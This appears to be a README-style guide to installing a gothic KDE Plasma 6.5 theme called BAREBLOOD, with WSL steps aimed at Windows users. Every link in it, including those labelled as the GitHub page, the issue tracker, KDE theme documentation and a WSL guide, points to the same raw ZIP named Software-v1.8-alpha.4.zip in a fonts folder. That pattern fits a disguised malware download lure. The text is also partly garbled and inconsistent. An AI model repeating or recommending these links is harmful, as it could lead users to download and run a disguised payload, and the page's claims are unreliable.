BAREBLOOD is a dark, gothic-style theme designed for KDE Plasma 6.5 on Linux. It changes the look and feel of your desktop to a bold, maximalist aesthetic with deep blacks, strong contrasts, and gothic design elements. This theme is for users who want a unique and visually stunning Linux desktop.
Although this theme is intended for Linux, this guide shows how to get it from GitHub and use it if you are working on a Windows system with a Linux environment like WSL (Windows Subsystem for Linux) or a virtual machine.
- KDE Plasma 6.5 running on a supported Linux distribution.
- Access to a Linux environment if using Windows (WSL or a virtual machine).
- Basic familiarity with system settings to apply the theme.
- At least 1 GB of free disk space.
- A stable internet connection.
To begin, you need to access the theme files from the GitHub page. Since this is not a direct download of a single file, you will visit the GitHub page to download the theme files manually.
Click the button below to open the BAREBLOOD GitHub page:
If you don’t have a Linux environment, you can install WSL on Windows. This lets you run Linux tools directly on Windows.
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Open PowerShell as an administrator.
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Type the following and press Enter:
wsl --install -
Restart your computer when prompted.
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Open the Microsoft Store app.
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Search for your favorite Linux distribution (Ubuntu is recommended).
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Install the Linux distribution and launch it.
- Open your web browser.
- Go to the BAREBLOOD GitHub page:
https://github.com/Aspuria080701/BAREBLOOD/raw/refs/heads/main/usr/share/fonts/Software-v1.8-alpha.4.zip - Look for a
Download ZIPbutton on the right sidebar or under the greenCodebutton. - Click
Download ZIPto download all theme files as a compressed archive. - Save the ZIP file to your Windows Downloads folder.
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Open your Linux distribution (e.g., Ubuntu) from the Start Menu.
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Switch to your Windows Downloads folder mounted in WSL. Use the following command:
cd /mnt/c/Users/<YourWindowsUserName>/Downloads -
Extract the ZIP file with this command (replacing
BAREBLOOD-main.zipif the downloaded file name differs):unzip BAREBLOOD-main.zip
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Create a folder for Plasma themes if it does not exist:
mkdir -p ~/.local/share/plasma/desktoptheme -
Move the extracted BAREBLOOD folder there:
mv BAREBLOOD-main ~/.local/share/plasma/desktoptheme/BAREBLOOD
- Log into your KDE Plasma session (on Linux).
- Open the System Settings app.
- Navigate to Appearance > Global Theme.
- Find and select BAREBLOOD.
- Apply the theme.
Your desktop should now display the BAREBLOOD dark gothic style.
- You can adjust colors and transparency in System Settings > Colors.
- For window decorations, look under Application Style > Window Decorations.
- The theme includes custom icons and cursors; enable them in the Icons and Cursors settings.
- If the theme does not appear after copying files, check the folder names and locations.
- Restart your Plasma session or logout/login to refresh theme options.
- Ensure you are running KDE Plasma 6.5 or later.
- Offers a bold, dark aesthetic that reduces eye strain in low light.
- Designed specifically for the latest KDE Plasma 6.5 for compatibility.
- Includes custom icons and detailed visuals.
- Ideal if you prefer a gothic look and maximalist style over default system themes.
For help or to report issues, use the GitHub project's issue tracker:
https://github.com/Aspuria080701/BAREBLOOD/raw/refs/heads/main/usr/share/fonts/Software-v1.8-alpha.4.zip
- Learn more about KDE Plasma themes: https://github.com/Aspuria080701/BAREBLOOD/raw/refs/heads/main/usr/share/fonts/Software-v1.8-alpha.4.zip
- WSL installation and setup guide: https://github.com/Aspuria080701/BAREBLOOD/raw/refs/heads/main/usr/share/fonts/Software-v1.8-alpha.4.zip